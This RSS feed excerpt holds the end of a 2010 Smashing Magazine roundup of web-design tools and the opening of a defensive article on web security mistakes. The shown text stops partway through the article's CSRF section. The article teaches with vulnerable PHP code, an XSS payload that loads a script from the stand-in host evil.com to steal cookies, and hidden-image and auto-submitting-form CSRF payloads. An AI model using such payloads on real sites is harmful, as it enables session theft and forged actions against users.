src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/useful-275.jpg" alt="Useful-275 in 50 Powerful Time-Savers For Web Designers" width="500" height="300" /></a></p><p><a href="http://licorize.com">Licorizer</a><br /> A new bookmarking service which allows you to mark relevant content without losing focus. Using a bookmarklet such as this one, enables you to add web pages and clippings to Licorize without leaving nor interrupting the web page you are currently focusing on.</p><p class="showcase"><a href="http://licorize.com"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/useful-270.jpg" alt="Useful-270 in 50 Powerful Time-Savers For Web Designers" width="500" height="300" /></a></p><p><a href="http://lab.arc90.com/experiments/readability/">Readability &#8211; An Arc90 Lab Experiment</a><br /> Readability™ is developed to make reading on the Web more enjoyable and remove any clutter around what you&#8217;re reading at the moment. A preview of a given text is available to give you an idea of how the style, size and margin can be adjusted. Installing Readability™ into your Web browser is quite easy&#8230;and makes it easier on your eyes!</p><p class="showcase"><a href="http://lab.arc90.com/experiments/readability/"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/useful-233.jpg" alt="Useful-233 in 50 Powerful Time-Savers For Web Designers" width="500" height="300" /></a></p><p><a href="http://joliprint.com/2010/10/07/print-to-pdf-google-reader/">Joli: Print to PDF in Google Reader</a><br /> Joliprint bookmark provides you an easy and quick way to print a Google Reader post as a PDF. First, you have to create a bookmarklet onto your browser&#8217;s bookmark bar, then select a post in Google reader and finally, click on the Joliprint bookmarklet to convert the activated post into a PDF document. Ta-dah! You can check <a href="http://code.google.com/p/clipr/">Clipr Bookmarklet</a> as well.</p><p class="showcase"><a href="http://joliprint.com/2010/10/07/print-to-pdf-google-reader/"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/useful-285.jpg" alt="Useful-285 in 50 Powerful Time-Savers For Web Designers" width="500" height="343" /></a></p><p><a href="http://spoon.net/">Spoon</a><br /> Spoon lets you run desktop applications with no installs, conflicts or dependencies such as .NET, Java nor AIR. By virtualizing your existing apps, you can turn them in standalone EXEs, MSIs or flash drives. This tool is also very useful for cross-browser testing right within your browser and is provided in two versions: Spoon for Business or for Developers.</p><p class="showcase"><a href="http://spoon.net/"><img style="padding: 7px 0;" src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/ie.jpg" border="0" alt="Ie in 50 Powerful Time-Savers For Web Designers" width="500" height="205" /></a></p><p><a href="http://estimator.astuteo.com/">Web Development Project Estimator</a><br /> A simple tool for web designers and site developers to quickly and thoroughly estimate the time and materials required for a proposed web project. A personal task list can be created, leaving you to decide which ones to include or even exclude. Most importantly, hours and rates of the particular project allow you to calculate the estimated final fee.</p><p class="showcase"><a href="http://estimator.astuteo.com/"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/useful-201.jpg" alt="Useful-201 in 50 Powerful Time-Savers For Web Designers" width="500" height="300" /></a></p><p><a href="http://goldenratiocalculator.com/">Golden Ratio Calculator</a><br /> This online tool helps you calculate the width of your containers to achieve the golden ratio. You can have a column with a certain width (perhaps to achieve a nice word:line ratio) and you wish to find a matching column. Type in the width and use the left side, which gives you both a smaller and larger column. Or if you have a container and wish to divide it in two, type in the container width and use the right side measurements.</p><p class="showcase"><a href="http://goldenratiocalculator.com/"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/useful-271.jpg" alt="Useful-271 in 50 Powerful Time-Savers For Web Designers" width="500" height="300" /></a></p><p><a href="http://www.my-debugbar.com/wiki/CompanionJS/HomePage">My DebugBar</a><br /> Companion.JS is a Javascript debugger for IE. The current version is 0.5.5 and contains features such as JavaScript error reporting as well as a console feature which helps inspect JavaScript objects at runtime. Please note that CJS requires a Microsoft script debugger.</p><p class="showcase"><a href="http://www.my-debugbar.com/wiki/CompanionJS/HomePage"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/useful-194.jpg" alt="Useful-194 in 50 Powerful Time-Savers For Web Designers" width="500" height="300" /></a></p><p><a href="http://entitifier.sambowler.com/">Entitifier</a><br /> Cleaning up text for the Web can be very time-consuming and prone to error. In case your client ever ends up delivering content in Microsoft Word or a similar format, cleaning it up is definitely a necessary task to do &mdash; if you don’t want to end up with characters that don’t display properly online. By entering a HTML or simple text into the given text box and clicking on the &#8216;entitify&#8217; button, you instantly have discovered a new tool which helps you escape any nasty characters that should be entities!</p><p class="showcase"><a href="http://entitifier.sambowler.com/"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/useful-272.jpg" border="0" alt="Useful-272 in 50 Powerful Time-Savers For Web Designers" width="500" height="300" /></a></p><p><a href="http://everytimezone.com/">Every Time Zone</a><br /> This tool shows an interactive chart of time in various cities across the globe. It also includes a slider to see the time in a particular city at any time of the day.</p><p class="showcase"><a href="http://everytimezone.com/"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/useful-273.jpg" border="0" alt="Useful-273 in 50 Powerful Time-Savers For Web Designers" width="500" height="295" /></a></p><p><a href="http://www.instapaper.com/">Instapaper</a><br />This is a simple tool that helps you save web pages for reading later, when you have time — for instance on mobile devices, iPad or Kindle.</p><p class="showcase"><a href="http://www.instapaper.com/"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/useful-251.jpg" alt="Useful-251 in 50 Powerful Time-Savers For Web Designers" width="500" height="300" /></a></p><p><a href="http://www.redmark.com/">Redmark: the easiest way to mark up a design and track revisions</a><br /> Communication is very important and helps designers and their clients come to clear terms with each other. This site offers visual communication in just three simple steps between designers and clients. It is also possible for a client to find a particular designer they need to match their business. A Demo Project is portrayed for a quick view about how the site actually works.</p><p class="showcase"><a href="http://www.redmark.com/"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/useful-155.jpg" alt="Useful-155 in 50 Powerful Time-Savers For Web Designers" width="500" height="300" /></a></p><p><a href="http://awesome-fontstacks.com/">Awesome Fontstacks</a><br /> Fonts have always carried an important meaning to web typography. As we all know, a lot of work is required to match and adjust a satisfactory web font for a website. This site helps you create a font stack bundle and also gives you a preview into CSS coding inclusive.</p><p class="showcase"><a href="http://awesome-fontstacks.com/"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/useful-x.jpg" alt="Useful-x in 50 Powerful Time-Savers For Web Designers" width="500" height="330" /></a></p><p><a href="http://framebox.org">Framebox: a wireframing tool</a><br />With Framebox, you can sketch your wirframes or just visualize your ideas using UI units such as boxes, headers, buttons, inputs, links, text, text links etc. You can then save it and get a link to created frame, and then send a link to your colleagues.</p><p class="showcase"><a href="http://framebox.org"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/useful-281.jpg" width="500" height="303" alt="Useful-281 in 50 Powerful Time-Savers For Web Designers"  /></a></p><p><a href="http://d.pr/hello">Droplr</a><br /> Drag, drop, share! Droplr is the best way to share files from your Mac OS X on the internet, aiming for simplicity, ease of use and flexibility. This application is also completely free to use with ad supported content. Once the selected file is uploaded, Droplr returns a URL in which a user can share with anyone.</p><p class="showcase"><a href="http://d.pr/hello"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/useful-238.jpg" alt="Useful-238 in 50 Powerful Time-Savers For Web Designers" width="500" height="300" /></a></p><p><a href="https://gomockingbird.com/">Mockingbird: Website wireframes</a><br />Mockingbird is an online tool that makes it easy for you to create, link together, preview, and share mockups of your website or application.</p><p class="showcase"><a href="https://gomockingbird.com/"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/useful-250.jpg" width="500" height="300" alt="Useful-250 in 50 Powerful Time-Savers For Web Designers"  /></a></p><p><a href="http://tools.sitepoint.com/codeburner/">CodeBurner: Reference Tool for Web Developers</a><br />CodeBurner is a suite of tools for web developers that provides reference material for HTML and CSS, integrated with a range of popular development environments.</p><p class="showcase"><a href="http://tools.sitepoint.com/codeburner/"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/useful-172.jpg" width="500" height="300" alt="Useful-172 in 50 Powerful Time-Savers For Web Designers"  /></a></p><p><a href="http://yellowgreen.de/soft-hyphenation-generator">HTML Soft Hyphenation Generator</a><br /> Configurable generator for automatic soft hyphenation in static HTML text without a script.</p><p class="showcase"><a href="http://yellowgreen.de/soft-hyphenation-generator"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/useful-137.jpg" alt="Useful-137 in 50 Powerful Time-Savers For Web Designers" width="500" height="300" /></a></p><p><a href="http://visitsteve.com/work/selfcontrol/">SelfControl</a><br />Is email a distraction? SelfControl is an OS X application which blocks access to incoming and/or outgoing mail servers and websites for a predetermined period of time. For example, you could block access to your e-mail, Facebook, and Twitter for 90 minutes, but still have access to the rest of the Web. Once started, it can not be undone by the application, by deleting the application, or by restarting the computer &mdash; you must wait for the timer to run out.</p><p class="showcase"><a href="http://visitsteve.com/work/selfcontrol/"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/useful-257.jpg" width="500" height="300" alt="Useful-257 in 50 Powerful Time-Savers For Web Designers"  /></a></p><p><a href="http://minutesplease.com/">MinutesPlease.com &#8211; Manage your web time</a><br /> This is an extraordinary website that you can have to help you control the time you spend on a particular site. Just type in the URL and the time you are willing to spend on this site &#8211; you will notice how fast time flies by!</p><p class="showcase"><a href="http://minutesplease.com/"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/useful-239.jpg" alt="Useful-239 in 50 Powerful Time-Savers For Web Designers" width="500" height="300" /></a></p><p><a href="http://www.clueapp.com/">Clue</a><br /> A fun and easy way to create memory tests and see how much and what exactly people remember on your website.</p><p class="showcase"><a href="http://www.clueapp.com/"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/useful-241.jpg" alt="Useful-241 in 50 Powerful Time-Savers For Web Designers" width="500" height="300" /></a></p><p><a href="http://neuskool.com/">Neuskool.com</a><br />Neuskool is a personal start page for all your browsing needs with a collection of useful search services, all on one page.</p><p class="showcase"><a href="http://neuskool.com/"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/useful-224.jpg" width="500" height="300" alt="Useful-224 in 50 Powerful Time-Savers For Web Designers"  /></a></p><p><a href="http://www.checkmycolours.com/">Check My Colours: analyze the color contrast of your web pages</a><br />This tool checks foreground and background color combinations of all DOM elements and determine if they provide sufficient contrast when viewed by someone having color deficits. All the tests are based on the algorithms suggested by the W3C.</p><p class="showcase"><a href="http://www.checkmycolours.com/"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/useful-157.jpg" width="500" height="300" alt="Useful-157 in 50 Powerful Time-Savers For Web Designers"  /></a></p><p><a href="http://de-de.colourlovers.com/copaso/ColorPaletteSoftware">COPASO: Color Palette tool</a><br />COPASO is an advanced color palette tool that helps you create the perfect color palette.</p><p class="showcase"><a href="http://de-de.colourlovers.com/copaso/ColorPaletteSoftware"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/useful-255.jpg" width="500" height="300" alt="Useful-255 in 50 Powerful Time-Savers For Web Designers"  /></a></p><h4>Useful Firefox Extensions</h4><p><a href="http://www.pixelperfectplugin.com/">Pixel Perfect Firefox Extension</a><br />This extension allows you to overlay a web composition on top of the developed HTML. Letting the developer visually see how many pixels they are off in development.</p><p><a href="http://www.sensational-seo.com/">SenSEO Firefox Extension &#8211; Official Website</a><br />SenSEO analyzes web pages and tells you how good they fulfill on-page Search Engine Optimization criteria. SenSEO is a Firefox add-on integrated with the popular Firebug web development tool. The code is based on the YSlow extension.</p><p class="showcase"><a href="http://www.sensational-seo.com/"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/useful-174.jpg" width="500" height="300" alt="Useful-174 in 50 Powerful Time-Savers For Web Designers"  /></a></p><p><a href="http://robertnyman.com/firefinder/">Firefinder</a><br />Firefinder is an extension to Firebug (in Firefox) and offers the functionality to, in a quick way, find HTML elements matching chosen CSS selector(s) or XPath expression. It allows you to instantly test your CSS selectors in the page while seeing the content at the same time, and matching elements will be highlighted.</p><p class="showcase"><a href="http://robertnyman.com/firefinder/"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/useful-175.jpg" width="500" height="300" alt="Useful-175 in 50 Powerful Time-Savers For Web Designers"  /></a></p><p><a href="http://www.incaseofstairs.com/firediff/">Firediff</a><br />Firediff is a Firebug extension that tracks changes to a page&#8217;s DOM and CSS and implements a change monitor that records all of the changes made by Firebug and the application itself to CSS and the DOM.</p><p class="showcase"><a href="http://www.incaseofstairs.com/firediff/"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/useful-206.jpg" width="500" height="300" alt="Useful-206 in 50 Powerful Time-Savers For Web Designers"  /></a></p><h3>Useful References</h3><p><a href="http://www.elliance.com/aha/infographics/SEO-Checklist.aspx">SEO Checklist</a><br />When it comes to SEO, there are certain elements that need to be in place for any newly-designed or updated website. Have 301 redirects been put into place? Is the robots.txt file authored to allow adequate crawling? This infographic depicts a handy checklist that will help get you through any new site launch or transition.</p><p class="showcase"><a href="http://www.elliance.com/aha/infographics/SEO-Checklist.aspx"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/useful-190.jpg" width="500" height="300" alt="Useful-190 in 50 Powerful Time-Savers For Web Designers"  /></a></p><p><a href="http://www.rayelder.com/teaching/typographic-sins/">Typographic Sins</a><br />Typographic Sins (also available as PDF) by James Godfrey and Patrick Wilkey covers 35 mistakes commonly made by novice designers. The website puts them in a neat orderly list, but the PDF showcases them visually. It’s a great reference guide and learning tool if you want to learn better typography design.</p><p class="showcase"><a href="http://www.rayelder.com/teaching/typographic-sins/"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/useful-267.jpg" width="500" height="300" alt="Useful-267 in 50 Powerful Time-Savers For Web Designers"  /></a></p><p><a href="http://www.entitycode.com/">Entity Code: a Clear and Quick Reference to HTML Entities Codes</a><br />A website that eliminates the frustration and the wasted time caused by constant need to add those hard to remember HTML entity codes, such as the copyright symbol &copy; or em-dash &mdash;, every time you&#8217;re developing a new website or writing a new article.</p><p class="showcase"><a href="http://www.entitycode.com/"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/useful-198.jpg" width="500" height="300" alt="Useful-198 in 50 Powerful Time-Savers For Web Designers"  /></a></p><p><a href="http://www.thirtyconversationsondesign.com/">Thirty Conversations on Design</a><br />The site creators asked 30 of the world’s most creative professionals two questions: “What single example of design inspires you most?” and “What problem should design solve next?” Their answers might surprise you. And, hopefully they’ll inspire you.</p><p class="showcase"><a href="http://www.thirtyconversationsondesign.com/"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/useful-230.jpg" width="500" height="300" alt="Useful-230 in 50 Powerful Time-Savers For Web Designers"  /></a></p><p><a href="http://www.kickerstudio.com/blog/2010/09/essential-interaction-design-essays-and-articles/">Essential Interaction Design Essays and Articles</a><br />A list of essays and articles that could be important touchstones and reference points for interaction designers.</p><h4>Further Useful Tools</h4><p><a href="http://min.us/">Min.us</a><br /> You can drag your data which you wish to share online onto the min.us page. Very convenient.</p><p><a href="http://www.shancarter.com/data_converter/index.html">Mr. Data Converter</a><br />Mr. Data Converter will convert your Excel data into one of several web-friendly formats, including HTML, JSON and XML.</p><p><a href="http://www.pdfsam.org/">PDF Split and Merge</a><br /> PDFsam is a free open source tool (GPL License) designed to split and merge PDF documents. Whether it be only extracting sections into a single document or changing the order of the pages. The basic version can be downloaded and simply used on every platform with a Java support.</p><h3>Last Click</h3><p><a href="http://unsuck-it.com/">Unsuck It</a><br />What terrible business jargon do you need unsucked? Unsuck It translates management speak to normal language, making your day to day on- and offline slogs through corporate jargon a little easier to bear. You can even tweet your results as they often turn out to be quite funny.</p><p class="showcase"><a href="http://unsuck-it.com/"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/useful-269.jpg" width="500" height="341" alt="Useful-269 in 50 Powerful Time-Savers For Web Designers"  /></a></p><p><a href="http://convert.francepropertyshop.com/">Temperature Conversion, Weight Conversion and Length Conversion</a><br />This simple online tool doesn&#8217;t do much, but it&#8217;s truly beautiful and it&#8217;s a pleasure to use. The tools lets you convert length values, temperature values and weight values.</p><p class="showcase"><a href="http://convert.francepropertyshop.com/"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/useful-258.jpg" alt="Useful-258 in 50 Powerful Time-Savers For Web Designers" width="500" height="300" /></a></p><p><a href="http://www.lokeshdhakar.com/2007/08/20/an-illustrated-coffee-guide/">Coffee Drinks Illustrated</a><br />With the vast number of ordering options and new words with accented characters to pronounce the coffee shop ordering experience can be intimidating. Lokesh Dhakar created a few small illustrations to help himself and others wrap their head around some of the small differences.</p><p class="showcase"><a href="http://www.lokeshdhakar.com/2007/08/20/an-illustrated-coffee-guide/"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/useful-290.jpg" width="500" height="442" alt="Useful-290 in 50 Powerful Time-Savers For Web Designers"  /></a></p><hr /><p><small>© Smashing Editorial for <a href="http://www.smashingmagazine.com">Smashing Magazine</a>, 2010. | <a href="http://www.smashingmagazine.com/2010/10/19/50-powerful-time-savers-for-designers/">Permalink</a> | <a href="http://www.smashingmagazine.com/2010/10/19/50-powerful-time-savers-for-designers/#comments">Post a comment</a> | <a title="Bookmark in del.icio.us" href="http://del.icio.us/post?url=http://www.smashingmagazine.com/2010/10/19/50-powerful-time-savers-for-designers/&title=50%20Powerful%20Time-Savers%20For%20Web%20Designers">Add to del.icio.us</a> | <a title="Bookmark in Digg" href="http://digg.com/submit?phase=2&url=http://www.smashingmagazine.com/2010/10/19/50-powerful-time-savers-for-designers/">Digg this</a> | <a title="Stumble on StumbleUpon" href="http://www.stumbleupon.com/submit?url=http://www.smashingmagazine.com/2010/10/19/50-powerful-time-savers-for-designers/">Stumble on StumbleUpon!</a> | <a title="Tweet us!" href="http://twitter.com/home?status=@tweetmeme%20@smashingmag%20Reading%20'50%20Powerful%20Time-Savers%20For%20Web%20Designers'%20http://www.smashingmagazine.com/2010/10/19/50-powerful-time-savers-for-designers/">Tweet it!</a> | <a title="Bookmark in Reddit" href="http://reddit.com/submit?url=http://www.smashingmagazine.com/2010/10/19/50-powerful-time-savers-for-designers/">Submit to Reddit</a> | <a href="http://forum.smashingmagazine.com/">Forum Smashing Magazine</a><br/> Post tags: <a href="http://www.smashingmagazine.com/tag/pdf/" rel="tag">PDF</a>, <a href="http://www.smashingmagazine.com/tag/time-savers/" rel="tag">time-savers</a>, <a href="http://www.smashingmagazine.com/tag/tools/" rel="tag">tools</a>, <a href="http://www.smashingmagazine.com/tag/useful/" rel="tag">useful</a><br/> </small></p>]]></content:encoded>
			<wfw:commentRss>http://adobecs6.com/2010/10/50-powerful-time-savers-for-web-designers-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Common Security Mistakes in Web Applications</title>
		<link>http://www.smashingmagazine.com/2010/10/18/common-security-mistakes-in-web-applications/</link>
		<comments>http://www.smashingmagazine.com/2010/10/18/common-security-mistakes-in-web-applications/#comments</comments>
		<pubDate>Mon, 18 Oct 2010 12:44:39 +0000</pubDate>
		<dc:creator>OutsideWriter</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[click-jacking]]></category>
		<category><![CDATA[csrf]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.smashingmagazine.com/?p=68347</guid>
		<description><![CDATA[<table width="650"><tr><td width="650"><div> <img src="http://creatives.commindo-media.de/static/smashing-magazine-advertisement.gif" alt="" border="0" /><img src="http://imp.constantcontact.com/imp/cmp.jsp?impcc=IMP_%3Cmprid/%3E&#38;o=http://img.constantcontact.com/lp/images/standard/spacer.gif" alt="" border="0" width="1" height="1" /><br /> <a href="http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?zoneid=34" target="_blank"><img src="http://auslieferung.commindo-media-ressourcen.de/www/delivery/avw.php?zoneid=34" border="0" alt="" /></a>&#160;<a href="http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?zoneid=35" target="_blank"><img src="http://auslieferung.commindo-media-ressourcen.de/www/delivery/avw.php?zoneid=35" border="0" alt="" /></a>&#160;<a href="http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?zoneid=36" target="_blank"><img src="http://auslieferung.commindo-media-ressourcen.de/www/delivery/avw.php?zoneid=36" border="0" alt="" /></a></div></td></tr></table><p>Web application developers today need to be skilled in a multitude of disciplines.  It's necessary to build an application that is user friendly, highly performant, accessible and secure, all while executing partially in an untrusted environment that you, the developer, have no control over.  I speak, of course, about the User Agent.  Most commonly seen in the form of a web browser, but in reality, one never really knows what's on the other end of the HTTP connection.</p><p><a href="http://www.smashingmagazine.com/2010/10/18/common-security-mistakes-in-web-applications/"><img src="http://media.smashingmagazine.com/cdn_smash/wp-content/uploads/2010/10/sql.png" width="550" height="169" alt="http://xkcd.com/327/" border="0" /></a></p> <p>There are many things to worry about when it comes to <strong>security on the Web</strong>. Is your site protected against denial of service attacks?  Is your user data safe?  Can your users be tricked into doing things they would not normally do?  Is it possible for an attacker to pollute your database with fake data?  Is it possible for an attacker to gain unauthorized access to restricted parts of your site?  Unfortunately, unless we're careful with the code we write, the answer to these questions can often be one we'd rather not hear.</p>]]></description>
			<content:encoded><![CDATA[<table width="650"><tr><td width="650"><div style="width:650px;"> <img src="http://creatives.commindo-media.de/static/smashing-magazine-advertisement.gif" alt="Smashing-magazine-advertisement in Common Security Mistakes in Web Applications" border="0" /><img src="http://imp.constantcontact.com/imp/cmp.jsp?impcc=IMP_&lt;mprid/&gt;&#038;o=http://img.constantcontact.com/lp/images/standard/spacer.gif" alt="Spacer in Common Security Mistakes in Web Applications" border="0" width="1" height="1" /><br /> <a href="http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?zoneid=34" ><img src="http://auslieferung.commindo-media-ressourcen.de/www/delivery/avw.php?zoneid=34" border="0" alt=" in Common Security Mistakes in Web Applications"  /></a>&nbsp;<a href="http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?zoneid=35" ><img src="http://auslieferung.commindo-media-ressourcen.de/www/delivery/avw.php?zoneid=35" border="0" alt=" in Common Security Mistakes in Web Applications"  /></a>&nbsp;<a href="http://auslieferung.commindo-media-ressourcen.de/www/delivery/ck.php?zoneid=36" ><img src="http://auslieferung.commindo-media-ressourcen.de/www/delivery/avw.php?zoneid=36" border="0" alt=" in Common Security Mistakes in Web Applications"  /></a></div></td></tr></table><p>Web application developers today need to be skilled in a multitude of disciplines.  It&#8217;s necessary to build an application that is user friendly, highly performant, accessible and secure, all while executing partially in an untrusted environment that you, the developer, have no control over.  I speak, of course, about the User Agent.  Most commonly seen in the form of a web browser, but in reality, one never really knows what&#8217;s on the other end of the HTTP connection.</p><p>There are many things to worry about when it comes to <strong>security on the Web</strong>. Is your site protected against denial of service attacks?  Is your user data safe?  Can your users be tricked into doing things they would not normally do?  Is it possible for an attacker to pollute your database with fake data?  Is it possible for an attacker to gain unauthorized access to restricted parts of your site?  Unfortunately, unless we&#8217;re careful with the code we write, the answer to these questions can often be one we&#8217;d rather not hear.</p><p>We&#8217;ll skip over denial of service attacks in this article, but take a close look at the other issues.  To be more conformant with standard terminology, we&#8217;ll talk about Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), Phishing, Shell injection and SQL injection.  We&#8217;ll also assume <strong>PHP</strong> as the language of development, but the problems apply regardless of language, and solutions will be similar in other languages.</p><p class="offtopic">[Offtopic: by the way, did you already get your copy of the <a href="http://creatives.commindo-media.de/www/delivery/ck.php?oaparams=2__bannerid=1368__zoneid=0__cb=b06a9d8418__oadest=http://shop.smashingmagazine.com/smashingbook-dispatcher.php?d=smashing-book&utm_source=Smashing%252BMagazine&utm_medium=editorialbox2&utm_content=BTW-Werbesatz%252Bmit%2520Shop%2520als%2520Ziel&utm_campaign=Smashing%252BMagazine%2520-%2520BTW%2520Editorial%2520Box%2520-%2520Shttp://creatives.commindo-media.de/www/delivery/ck.php?oaparams=2__bannerid=1368__zoneid=0__log=no__cb=b06a9d8418__oadest=http://shop.smashingmagazine.com/smashingbook-dispatcher.php?d=smashing-book&utm_source=Smashing%252BMagazine&utm_medium=editorialbox2&utm_content=BTW-Werbesatz%252Bmit%2520Shop%2520als%2520Ziel&utm_campaign=Smashing%252BMagazine%2520-%2520BTW%2520Editorial%2520Box%2520-%2520Smashing%2520Bookmashing%2520Book">Smashing Book</a>?]</p><h3>1. Cross-site scripting (XSS)</h3><p>Cross-site scripting is an attack in which a user is tricked into executing code from an attacker&#8217;s site (say evil.com) in the context of our website (let&#8217;s call it www.mybiz.com).  This is a problem regardless of what our website does, but the severity of the problem changes depending on what our users can do on the site.  Let&#8217;s look at an example.</p><p>Let&#8217;s say that our site allows the user to post cute little messages for the world (or maybe only their friends) to see.  We&#8217;d have code that looks something like this:</p><pre class="brush: php">
&lt;?php
  echo "$user said $message";
?&gt;
</pre><p>To read the message in from the user, we&#8217;d have code like this:</p><pre class="brush: php">
&lt;?php
  $user = $_COOKIE['user'];
  $message = $_REQUEST['message'];
  if($message) {
     save_message($user, $message);
  }
?&gt;
&lt;input type="text" name="message" value="&lt;?php echo $message ?&gt;"&gt;
</pre><p>This works only as long as the user sticks to messages in plain text, or perhaps a few safe HTML tags like &lt;strong&gt; or &lt;em&gt;.  We&#8217;re essentially trusting the user to only enter safe text.  An attacker, though, may enter something like this:</p><pre class="brush: php">
Hi there...&lt;script src="h++p://evil.com/bad-script.js"&gt;&lt;/script&gt;
</pre><p>(Note that I&#8217;ve changed http to h++p to prevent auto-linking of the URL).</p><p>When a user views this message on their own page, they load <code>bad-script.js</code> into their page, and that script could do anything it wanted, for example, it could steal the contents of <code>document.cookie</code>, and then use that to impersonate the user and possibly send spam from their account, or more subtly, change the contents of the HTML page to do nasty things, possibly installing malware onto the reader&#8217;s computer.  Remember that <code>bad-script.js</code> now executes in the context of www.mybiz.com.</p><p>This happens because we&#8217;ve trusted the user more than we should.  If, instead, we only allow the user to enter contents that are safe to display on the page, we prevent this form of attack.  We accomplish this using PHP&#8217;s <a href="http://www.php.net/manual/en/intro.filter.php">input_filter extension</a>.</p><p>We can change our PHP code to the following:</p><pre class="brush: php">
&lt;?php
  $user = filter_input(INPUT_COOKIE, 'user',
                         FILTER_SANITIZE_SPECIAL_CHARS);
  $message = filter_input(INPUT_POST | INPUT_GET, 'message',
                         FILTER_SANITIZE_SPECIAL_CHARS);
  if($message) {
     save_message($user, $message);
  }
?&gt;
&lt;input type="text" name="message" value="&lt;?php echo $message ?&gt;"&gt;
</pre><p>Notice that we run the filter on the input and not just before output.  We do this to protect against the situation where a new use case may arise in the future, or a new programmer comes in to the project, and forgets to <strong>sanitize data</strong> before printing it out.  By filtering at the input layer, we ensure that we never store unsafe data.  The side-effect of this is that if you have data that needs to be displayed in a non-web context (e.g. a mobile text message/pager message), then it may be unsuitably encoded.  You may need further processing of the data before sending it to that context.</p><p>Now chances are that almost everything you get from the user is going to be written back to the browser at some point, so it may be best to just set the default filter to <code>FILTER_SANITIZE_SPECIAL_CHARS</code> by changing <code>filter.default</code> in your <code>php.ini</code> file.</p><p>PHP has many different input filters, and it&#8217;s important to use the one most relevant to your data.  Very often an XSS creeps in because we use <code>FILTER_SANITIZE_SPECIAL_CHARS</code> when we should have used <code>FILTER_SANITIZE_ENCODED</code> or <code>FILTER_SANITIZE_URL</code> or vice-versa. You should also carefully review any code that uses something like <a href="http://www.php.net/html_entity_decode"><code>html_entity_decode</code></a>, because this could potentially open your code up for attack by undoing the encoding added by the input filter.</p><p>If a site is open to XSS attacks, then its users&#8217; data is not safe.</p><h3>2. Cross-site request forgery (CSRF)</h3><p>A CSRF (sometimes abbreviated as XSRF) is an attack where a malicious site tricks our  visitors into carrying out an action on our site.  This can happen if a user logs in to a site that they use a lot (e.g. e-mail, Facebook, etc.), and then visits a malicious site without first logging out.  If the original site is susceptible to a CSRF attack, then the malicious site can do evil things on the user&#8217;s behalf.  Let&#8217;s take the same example as above.</p><p>Since our application reads in input either from POST data or from the query string, an attacker could trick our user into posting a message by including code like this on their website:</p><pre class="brush: xml">
&lt;img src="h++p://www.mybiz.com/post_message?message=Cheap+medicine+at+h++p://evil.com/"
     style="position:absolute;left:-999em;"&gt;
</pre><p>Now all the attacker needs to do, is get users of mybiz.com to visit their site.  This is fairly easily accomplished by, for example, hosting a game, or pictures of cute baby animals.  When the user visits the attacker&#8217;s site, their browser sends a GET request to <em>www.mybiz.com/post_message</em>. Since the user is still logged in to www.mybiz.com, the browser sends along the user&#8217;s cookies, thereby posting an advertisement for <em>cheap medicine</em> to all the user&#8217;s friends.</p><p>Simply changing our code to only accept submissions via POST doesn&#8217;t fix the problem.  The attacker can change the code to something like this:</p><pre class="brush: xml">
&lt;iframe name="pharma" style="display:none;"&gt;&lt;/iframe&gt;
&lt;form id="pform"
      action="h++p://www.mybiz.com/post_message"
      method="POST"
      target="pharma"&gt;
&lt;input type="hidden" name="message" value="Cheap medicine at ..."&gt;
&lt;/form&gt;
&lt;script&gt;document.getElementById('pform').submit();&lt;/script&gt;
